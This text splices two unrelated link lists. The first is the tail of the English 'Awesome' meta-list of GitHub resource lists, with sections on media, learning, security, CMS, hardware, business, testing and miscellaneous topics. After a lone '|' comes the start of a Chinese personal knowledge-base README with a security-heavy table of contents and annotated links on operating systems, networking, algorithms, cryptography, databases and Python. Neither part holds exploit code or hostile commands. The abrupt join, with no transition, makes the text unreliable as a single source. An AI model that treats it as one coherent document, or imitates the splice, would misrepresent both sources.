- [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme)
- [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art.
- [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video.
- [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects.
- [Audiovisual](https://github.com/stingalleman/awesome-audiovisual#readme) - Lighting, audio and video in professional environments.
- [VLC](https://github.com/mfkl/awesome-vlc#readme) - Cross-platform media player software and streaming server.
## Learn
- [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials.
- [Learn to Program](https://github.com/karlhorky/learn-to-program#readme)
- [Speaking](https://github.com/matteofigus/awesome-speaking#readme)
- [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme)
- [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme)
- [Computer History](https://github.com/watson/awesome-computer-history#readme)
- [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme)
- [Educational Games](https://github.com/yrgo/awesome-educational-games#readme) - Learn while playing.
- [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme)
- [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules.
- [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager.
- [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills.
- [YouTubers](https://github.com/JoseDeFreitas/awesome-youtubers#readme) - Watch video tutorials from YouTubers that teach you about technology.
## Security
- [Application Security](https://github.com/paragonie/awesome-appsec#readme)
- [Security](https://github.com/sbilly/awesome-security#readme)
- [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag.
- [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme)
- [Android Security](https://github.com/ashishb/android-security-awesome#readme)
- [Hacking](https://github.com/carpedm20/awesome-hacking#readme)
- [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization.
- [Incident Response](https://github.com/meirwah/awesome-incident-response#readme)
- [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme)
- [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services.
- [Lockpicking](https://github.com/fabacab/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key.
- [Cybersecurity Blue Team](https://github.com/fabacab/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems.
- [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data.
- [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme)
- [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - Regulation on data protection and privacy for all individuals within EU.
- [DevSecOps](https://github.com/TaptuIT/awesome-devsecops#readme) - Integration of security practices into [DevOps](https://en.wikipedia.org/wiki/DevOps).
- [Executable Packing](https://github.com/dhondta/awesome-executable-packing#readme) - Packing and unpacking executable formats.
## Content Management Systems
- [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme)
- [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS.
- [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience.
- [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS.
- [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS.
- [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS.
- [Sitecore](https://github.com/MartinMiles/Awesome-Sitecore#readme) - .NET digital marketing platform that combines CMS with tools for managing multiple websites.
- [Silverstripe CMS](https://github.com/wernerkrauss/awesome-silverstripe-cms#readme) - PHP MVC framework that serves as a classic or headless CMS.
## Hardware
- [Robotics](https://github.com/Kiloreux/awesome-robotics#readme)
- [Internet of Things](https://github.com/HQarroum/awesome-iot#readme)
- [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists.
- [Bluetooth Beacons](https://github.com/rabschi/awesome-beacon#readme)
- [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar.
- [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots.
- [Robotic Tooling](https://github.com/protontypes/awesome-robotic-tooling#readme) - Free and open tools for professional robotic development.
- [LIDAR](https://github.com/szenergy/awesome-lidar#readme) - Sensor for measuring distances by illuminating the target with laser light.
## Business
- [Open Companies](https://github.com/opencompany/awesome-open-company#readme)
- [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme)
- [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices.
- [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment.
- [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses.
- [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News.
- [Clean Tech](https://github.com/nglgzz/awesome-clean-tech#readme) - Fighting climate change with technology.
- [Wardley Maps](https://github.com/wardley-maps-community/awesome-wardley-maps#readme) - Provides high situational awareness to help improve strategic planning and decision making.
- [Social Enterprise](https://github.com/RayBB/awesome-social-enterprise#readme) - Building an organization primarily focused on social impact that is at least partially self-funded.
- [Engineering Team Management](https://github.com/kdeldycke/awesome-engineering-team-management#readme) - How to transition from software development to engineering management.
- [Developer-First Products](https://github.com/agamm/awesome-developer-first#readme) - Products that target developers as the user.
- [Billing](https://github.com/kdeldycke/awesome-billing#readme) - Payments, invoicing, pricing, accounting, marketplace, fraud, and business intelligence.
## Work
- [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration.
- [Communities](https://github.com/filipelinhares/awesome-slack#readme)
- [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme)
- [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme)
- [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme)
- [Programming Interviews](https://github.com/DopplerHQ/awesome-interview-questions#readme)
- [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code.
- [Creative Technology](https://github.com/j0hnm4r5/awesome-creative-technology#readme) - Businesses & groups that specialize in combining computing, design, art, and user experience.
- [Internships](https://github.com/lodthe/awesome-internships#readme) - CV writing guides and companies that hire interns.
## Networking
- [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme)
- [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme)
- [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme)
- [Real-Time Communications](https://github.com/rtckit/awesome-rtc#readme) - Network protocols for near simultaneous exchange of media and data.
## Decentralized Systems
- [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers.
- [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network.
- [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications.
- [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network.
- [Ethereum](https://github.com/ttumiel/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development.
- [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning.
- [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps.
- [Corda](https://github.com/chainstack/awesome-corda#readme) - Open source blockchain platform designed for business.
- [Waves](https://github.com/msmolyakov/awesome-waves#readme) - Open source blockchain platform and development toolset for Web 3.0 apps and decentralized solutions.
- [Substrate](https://github.com/substrate-developer-hub/awesome-substrate#readme) - Framework for writing scalable, upgradeable blockchains in Rust.
- [Golem](https://github.com/golemfactory/awesome-golem#readme) - Open source peer-to-peer marketplace for computing resources.
- [Stacks](https://github.com/friedger/awesome-stacks-chain#readme) - A smart contract platform secured by Bitcoin.
- [Algorand](https://github.com/aorumbayev/awesome-algorand#readme) - An open-source, proof of stake blockchain and smart contract computing platform.
## Higher Education
- [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system.
- [Digital History](https://github.com/maehr/awesome-digital-history#readme) - Computer-aided scientific investigation of history.
- [Scientific Writing](https://github.com/writing-resources/awesome-scientific-writing#readme) - Distraction-free scientific writing with Markdown, reStructuredText and Jupyter notebooks.
## Events
- [Creative Tech Events](https://github.com/danvoyce/awesome-creative-tech-events#readme) - Events around the globe for creative coding, tech, design, music, arts and cool stuff.
- [Events in Italy](https://github.com/ildoc/awesome-italy-events#readme) - Tech-related events in Italy.
- [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands.
## Testing
- [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing.
- [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style.
- [Selenium](https://github.com/christian-bromann/awesome-selenium#readme) - Open-source browser automation framework and ecosystem.
- [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps.
- [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol.
- [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool.
- [k6](https://github.com/grafana/awesome-k6#readme) - Open-source, developer-centric performance monitoring and load testing solution.
- [Playwright](https://github.com/mxschmitt/awesome-playwright#readme) - Node.js library to automate Chromium, Firefox and WebKit with a single API.
- [Quality Assurance Roadmap](https://github.com/fityanos/awesome-quality-assurance-roadmap#readme) - How to start & build a career in software testing.
- [Gatling](https://github.com/aliesbelik/awesome-gatling#readme) - Open-source load and performance testing framework based on Scala, Akka, and Netty.
## Miscellaneous
- [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format.
- [GeoJSON](https://github.com/tmcw/awesome-geojson#readme)
- [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme)
- [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values.
- [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme)
- [Radio](https://github.com/kyleterry/awesome-radio#readme)
- [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated.
- [Analytics](https://github.com/0xnr/awesome-analytics#readme)
- [REST](https://github.com/marmelab/awesome-rest#readme)
- [Continuous Integration and Continuous Delivery](https://github.com/cicdops/awesome-ciandcd#readme)
- [Services Engineering](https://github.com/mmcgrana/services-engineering#readme)
- [Free for Developers](https://github.com/ripienaar/free-for-dev#readme)
- [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc.
- [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS.
- [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme)
- [Readme](https://github.com/matiassingers/awesome-readme#readme)
- [Design and Development Guides](https://github.com/NARKOZ/guides#readme)
- [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme)
- [Self Hosted](https://github.com/awesome-selfhosted/awesome-selfhosted#readme)
- [FOSS Production Apps](https://github.com/DataDaoDe/awesome-foss-apps#readme)
- [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner.
- [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything.
- [Answers](https://github.com/stoeffel/awesome-ama-answers#readme)
- [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme)
- [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics.
- [GraphQL](https://github.com/chentsulin/awesome-graphql#readme)
- [Urban & Regional Planning](https://github.com/APA-Technology-Division/urban-and-regional-planning-resources#readme) - Concerning the built environment and communities.
- [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme)
- [Research Tools](https://github.com/emptymalei/awesome-research#readme)
- [Data Visualization](https://github.com/javierluraschi/awesome-dataviz#readme)
- [Social Media Share Links](https://github.com/vinkla/shareable-links#readme)
- [Microservices](https://github.com/mfornos/awesome-microservices#readme)
- [Unicode](https://github.com/jagracey/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources.
- [Code Points](https://github.com/Codepoints/awesome-codepoints#readme)
- [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme)
- [Katas](https://github.com/gamontal/awesome-katas#readme)
- [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme)
- [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists.
- [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol.
- [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme)
- [For Girls](https://github.com/cristianoliveira/awesome4girls#readme)
- [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework.
- [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API.
- [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language.
- [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit.
- [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme)
- [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme)
- [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry.
- [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme.
- [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform.
- [Bots](https://github.com/hackerkid/bots#readme) - Building bots.
- [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme)
- [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures.
- [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework.
- [Userscripts](https://github.com/bvolpato/awesome-userscripts#readme) - Enhance your browsing experience.
- [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO.
- [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat.
- [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in.
- [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model.
- [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology.
- [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system.
- [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers.
- [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional.
- [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login.
- [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom.
- [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs.
- [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language.
- [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects.
- [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers.
- [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP.
- [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt.
- [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain.
- [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives.
- [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use.
- [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system.
- [Homematic](https://github.com/homematic-community/awesome-homematic#readme) - Smart home devices.
- [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line.
- [Web Monetization](https://github.com/thomasbnt/awesome-web-monetization#readme) - A free open web standard service that allows you to send money directly in your browser.
- [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works.
- [Crypto Currency Tools & Algorithms](https://github.com/Zheaoli/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers.
- [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community.
- [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects.
- [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences.
- [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition.
- [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool.
- [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer.
- [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform.
- [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human.
- [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text.
- [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship.
- [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society.
- [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community.
- [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all.
- [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects.
- [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions.
- [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub.
- [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry.
- [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin.
- [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers.
- [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme)
- [Agriculture](https://github.com/brycejohnston/awesome-agriculture#readme) - Open source technology for farming and gardening.
- [Product Design](https://github.com/ttt30ga/awesome-product-design#readme) - Design a product from the initial concept to production.
- [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API.
- [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software.
- [Connectivity Data and Reports](https://github.com/stevesong/awesome-connectivity-info#readme) - Better understand who has access to telecommunication and internet infrastructure and on what terms.
- [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - Tech stacks for building different apps and features.
- [Cytodata](https://github.com/cytodata/awesome-cytodata#readme) - Image-based profiling of biological phenotypes for computational biologists.
- [IRC](https://github.com/davisonio/awesome-irc#readme) - Open source messaging protocol.
- [Advertising](https://github.com/cenoura/awesome-ads#readme) - Advertising and programmatic media for websites.
- [Earth](https://github.com/philsturgeon/awesome-earth#readme) - Find ways to resolve the climate crisis.
- [Naming](https://github.com/gruhn/awesome-naming#readme) - Naming things in computer science done right.
- [Biomedical Information Extraction](https://github.com/caufieldjh/awesome-bioie#readme) - How to extract information from unstructured biomedical data and text.
- [Web Archiving](https://github.com/iipc/awesome-web-archiving#readme) - An effort to preserve the Web for future generations.
- [WP-CLI](https://github.com/schlessera/awesome-wp-cli#readme) - Command-line interface for WordPress.
- [Credit Modeling](https://github.com/mourarthur/awesome-credit-modeling#readme) - Methods for classifying credit applicants into risk classes.
- [Ansible](https://github.com/KeyboardInterrupt/awesome-ansible#readme) - A Python-based, open source IT configuration management and automation platform.
- [Biological Visualizations](https://github.com/keller-mark/awesome-biological-visualizations#readme) - Interactive visualization of biological data on the web.
- [QR Code](https://github.com/make-github-pseudonymous-again/awesome-qr-code#readme) - A type of matrix barcode that can be used to store and share a small amount of information.
- [Veganism](https://github.com/sdassow/awesome-veganism#readme) - Making the plant-based lifestyle easy and accessible.
- [Translations](https://github.com/mbiesiad/awesome-translations#readme) - The transfer of the meaning of a text from one language to another.
- [Scriptable](https://github.com/dersvenhesse/awesome-scriptable#readme) - An iOS app for automations in JavaScript.
- [WebXR](https://github.com/msub2/awesome-webxr#readme) - Enables immersive virtual reality and augmented reality content on the web.
## Related
- [All Awesome Lists](https://github.com/topics/awesome) - All the Awesome lists on GitHub.
- [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset.
- [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists.
- [StumbleUponAwesome](https://github.com/basharovV/StumbleUponAwesome) - Discover random pages from the Awesome dataset using a browser extension.
- [Awesome CLI](https://github.com/umutphp/awesome-cli) - A simple command-line tool to dive into Awesome lists.
- [Awesome Viewer](https://awesome.digitalbunker.dev) - A visualizer for all of the above Awesome lists.
- [Track Awesome List](https://www.trackawesomelist.com) - View the latest updates of Awesome lists.
|
# 404 Not Found的知识库
最近更新日期：2020/06/28
最近一周新增：
- [Python项目打包和发布](# 工具)
目录：
- [计算机基础](#计算机基础)
- [计算机理论基础](#计算机理论基础)
- [计算机网络](#计算机网络)
- [操作系统](#操作系统)
- [数据结构与算法](#数据结构与算法)
- [数据库](#数据库)
- [密码学基础](#密码学基础)
- [计算机技术基础](#计算机技术)
- [语言](#语言)
- [框架](#框架)
- [工具](#工具)
- [技术](#技术)
- [底层研究](#底层研究)
- [word2vec](#word2vec)
- [安全](#安全)
- [安全技术](#安全技术)
- [漏洞](#漏洞)
- [Web安全](#Web安全)
- [渗透测试](#渗透测试)
- [代码审计](#代码审计)
- [数据安全](#数据安全)
- [云安全](#云安全)
- [安全工具](#安全工具)
- [漏洞扫描](#漏洞扫描)
- [安全研究](#安全研究)
- [APT检测](#APT检测)
- [恶意样本](#恶意样本)
- [Red Team](#RedTeam)
- [WAF](#WAF)
- [恶意URL检测](#恶意URL检测)
- [对抗机器流量](#对抗机器流量)
- [异常检测](#异常检测)
- [图与安全](#图与安全)
- [AI与安全](#AI与安全)
- [企业安全建设](#企业安全建设)
- [安全开发](#安全开发)
- [安全检测](#安全检测)
- [安全产品](#安全产品)
- [安全运营](#安全运营)
- [安全管理](#安全管理)
- [安全思考](#安全思考)
- [安全架构](#安全架构)
- [红蓝对抗](#红蓝对抗)
- [内网安全](#内网安全)
- [数据安全](#数据安全)
- [新技术与新安全](#新技术与新安全)
- [综述](#综述)
- [云原生](#云原生)
- [可信计算](#可信计算)
- [DevSecOps](#DevSecOps)
- [安全发展](#安全发展)
- [个人发展](#个人发展)
- [行业发展](#行业发展)
- [数据](#数据)
- [数据体系](#数据体系)
- [数据分析与运营](#数据分析与运营)
- [安全数据分析](#安全数据分析)
- [算法](#算法)
- [人工智能](#人工智能)
- [算法体系](#算法体系)
- [基础知识](#基础知识)
- [机器学习](#机器学习)
- [深度学习](#深度学习)
- [强化学习](#强化学习)
- [应用领域](#应用领域)
- [行业发展](#行业发展)
- [综合素质](#技术素质)
- [职业](#职业)
- [职业规划](#职业规划)
- [思维](#思维)
- [沟通](#沟通)
- [管理](#管理)
- [思考](#思考)
- [注意事项](#注意事项)
- [附录](#附录)
- [国内优秀技术人](#国内优秀技术人)
- [国外优秀技术站点](#国外优秀技术站点)
- [废弃](#废弃)
# 计算机基础
## 计算机理论基础
### 操作系统
- [[计算机考研408全网最全!!!!!]王道计算机操作系统](https://www.bilibili.com/video/av33644426)
- [中断与异常](https://www.bilibili.com/video/av33644426/?p=5)
- [怎样通俗的理解操作系统中内存管理分页和分段？](https://www.zhihu.com/question/50796850)<br>
粒度、信息的逻辑单位和信息的物理单位、长度不确定和长度确定、二维地址和一维地址、完整信息和内存离散分配。
- [操作系统之内核态和用户态小结](https://zhuanlan.zhihu.com/p/21374250)
- [常见面试题整理--操作系统篇（每位开发者必备）](https://zhuanlan.zhihu.com/p/23755202)
### 计算机网络
- [常见面试题整理--计算机网络篇（每位开发者必备）](https://zhuanlan.zhihu.com/p/24001696)<br>
TCP和UDP的区别，TCP三次握手和四次挥手，浏览器输入URL之后的流程，HTTP协议的请求类型，GET和POST的区别，ARP地址解析协议
- [一次完整的浏览器请求流程](https://www.jianshu.com/p/fbe0e9fa45a6)<br>
页面（浏览器、HTTP）请求到响应经过的流程包括了TCP三次握手等系列流程，比如域名解析、发起TCP三次握手、发起HTTP请求、服务器响应HTTP请求，浏览器得到HTML代码、浏览器解析HTML代码，并请求HTML代码中的资源、浏览器对页面进行渲染呈现给用户。
- [tcp 的可靠性到底指的是什么？ - CYS的回答 - 知乎](https://www.zhihu.com/question/49596182/answer/116843028)<br>
TCP的可靠性是指基于不可靠的IP层在传输层提供可靠的数据传输服务，主要是指数据不会损坏或丢失，而且所有数据都是按照发送顺序进行传送。实现TCP的可靠性传输有以下机制：校验和（校验数据是否损坏）、定时器（分组丢失则重传）、序号（用于检测丢失的分组和冗余的分组）、确认（接收方告知发送方正确接收分组以及期望的下一个分组）、否定确认（接收方通知发送方未被正确接收的分组）、窗口和流水线（用于增加信道的吞吐量）。
### 数据结构与算法
- [算法 3：最常用的排序——快速排序](http://wiki.jikexueyuan.com/project/easy-learn-algorithm/fast-sort.html)<br>
sort and quick sort，快排的思想是挖坑填数+分治。
- [一道腾讯面试题：厉害了我的杯](https://mp.weixin.qq.com/s/MtSr6Id80sxBdNsgHLLxJw)（学到了）<br>
解题方法1：二分法；解题方法2：分段查找区间法；解题方法3：基于数学方程的方法；解题方法4：动态规划法（学到了），用公式来描述就是：`W(n, k) = 1 + min{max(W(n -1, x -1), W(n, k - x))}, x in {2, 3, ……，k}`（n是杯子数，k是楼层数）
- [如何有效的写算法题](https://mp.weixin.qq.com/s/ZGWL5O2rOuW-Rf6FQxnrLA)<br>
LeetCode上的题大致分为三种类型：考察数据结构：比如链表、栈、队列、哈希表、图、Trie、二叉树等；考察基础算法：比如深度优先、广度优先、二分查找、递归等；考察基础算法思想：递归、分治、回溯搜索、贪心、动态规划。
- [浅谈什么是分治算法](https://mp.weixin.qq.com/s/paOrlfpdMwvCUDywda0EvQ)（学到了）<br>
分治思想下的全排列问题、归并排序问题、快速排序问题、汉诺塔问题。
- [2018.08求职面经](http://michael282694.com/post/2018.08qiu-zhi-mian-jing)<br>
乱序数组中第k大的数，乱序数组中的中位数：快排指针，O(N)。
- [【视频讲解】LeetCode 第 1 号问题：两数之和](https://mp.weixin.qq.com/s/BEefuwFek3dpXl8wE0b9Iw)<br>
- [年会抢红包策略](https://www.cdxy.me/?p=802)
### 密码学基础
- [对称加密与非对称加密优缺点详解](https://blog.csdn.net/aschulianwuyanzu/article/details/77978484)<br>
对称加密也称单秘钥加密。算法有：AES、RC4、3DES。速度快，需要加密大量数据时使用，计算量小，效率高；一方秘钥泄露整个加密都不安全。非对称加密，算法有RSA、DSA/DSS，速度慢，安全性高。Hash算法有MD5、SHA1、SHA256。**三类算法是HTTPS通信的基础**。
### 数据库
- [腾讯面试：一条SQL语句执行得很慢的原因有哪些？](https://zhuanlan.zhihu.com/p/62941196)<br>
**补充学习**：数据库引擎（InnoDB支持事物处理和外键，但是慢一点、ISAM和MyISAM空间和内存使用低，插入数据快）、数据库编码（`character_set_client、character_set_connection、character_set_database、character_set_results、character_set_server、character_set_system`）、数据库索引(主键索引、聚集索引和非聚集索引)等基础知识点。<br>
一条SQL语句执行很慢的原因分为两类：1）大多数情况下正常，偶尔很慢：（1）数据库在刷新脏页，例如redo log写满了需要同步到磁盘；（2）执行的时候遇到锁，如表锁，行锁；2）一直都很慢：（1）没有用上索引：例如该字段没有索引；由于对字段进行运算、函数操作导致无法用索引；（2）数据库选错了索引，比较聚集索引到主键索引和直接全表搜索的扫描行数，有可能因为采样问题判断有误，走了全表扫描而不走索引。
- [这大概是最全的sql优化方案了](https://zhuanlan.zhihu.com/p/48385127)
## 计算机技术基础
### 语言
- [万字长文深度解析Python装饰器](https://zhuanlan.zhihu.com/p/53837833?utm_source=wechat_session&utm_medium=social&s_s_i=fnTFc5tcnJAFiGn2nobqDexCtTjMulfSsMtJHUvT7%2B4%3D&s_r=1#showWechatShareTip)
- [Python3 迭代器与生成器](http://www.runoob.com/python3/python3-iterator-generator.html)<br>
**Python**：迭代器有两个基本的方法：iter()和next()，字符串、元组、列表等可迭代对象都可用于创建迭代器（这是因为这些类内部都实现了`__iter__()`函数，调用iter()之后，变成了一个`list_iterator`的对象，会发现增加了`__next__()`方法，所有实现了`__iter__`和`__next__`两个方法的对象，都是迭代器），迭代器是带状态的对象，它会记录当前迭代所处的位置，以方便下次迭代的时候获取正确的元素，`__iter__`返回迭代器自身，`__next__`返回容器的下一个值。生成器：使用了yield的函数被称为生成器，调用了一个生成器函数，返回的是一个迭代器对象，生成器可以看成是迭代器。
- [python 黑科技之迭代器、生成器、装饰器](https://www.jianshu.com/p/efaa19594cf4)
- [Python的高级特征你知多少？来对比看看](https://mp.weixin.qq.com/s/VBiQ2X7Y93h51GkIosC_Vw)<br>
